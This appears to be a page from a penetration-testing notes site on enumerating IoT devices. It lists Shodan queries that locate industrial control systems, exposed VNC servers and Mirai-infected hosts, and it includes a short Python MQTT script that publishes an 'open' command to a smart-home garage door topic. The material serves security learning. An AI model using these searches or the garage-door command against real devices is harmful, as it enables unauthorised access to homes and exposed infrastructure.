📳Enumerating IoT Devices

IoT - Hacking

Communication Protocols

  • Message Queuing Telemetry Transport (MQTT)

  • Extensible Messaging and Presence Protocol (XMPP)

  • Data Distribution Service for Real-Time Systems (DDS)

  • Advanced Message Queuing Protocol (AMQP)

Shodan IoT Search Engine

Web Interface

Find ICS

category:ics -http -html -ssh -ident country:us

Shodan Command-Line Interface

Using the Shodan Command Line

Install Shodan

sudo apt install shodan

Initialize the API Key

shodan init <api-key>

Test for credits available in your account

shodan info

Scan to find VNC services (RFB), showing IP, port, org, and hostnames

shodan search --fields ip_str,port,org,hostnames RFB > results.txt

wc -l results.txt

Check the honeyscore

shodan honeyscore <IP Address>

Shodan API

Testing the Shodan API

Installation

pip3 install shodan

mqtt-search.py

python3 mqtt-search.py

wc -l mqtt-results.txt

head mqtt-results.txt

Playing with MQTT

Install paho-mqtt

pip3 install paho-mqtt

mqtt-scan.py

python3 mqtt-scan.py

Serious Risk

Open Garage Door

import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
   print "[+] Connection success"
client = mqtt.Client(client_id = "MqttClient")
client.on_connect = on_connect
client.connect('IP SERVER HERE', 1883, 60)
client.publish('smarthouse/garage/door', "{'open':'true'}")

Mirai Lives

Search for Mirai Infected Devices

shodan search --fields ip_str,port,org,hostnames categories:mirai > results2.txt

head results2.txt

Further Readings

References

PreviousFirewall PentestingNextDissecting Embedded Devices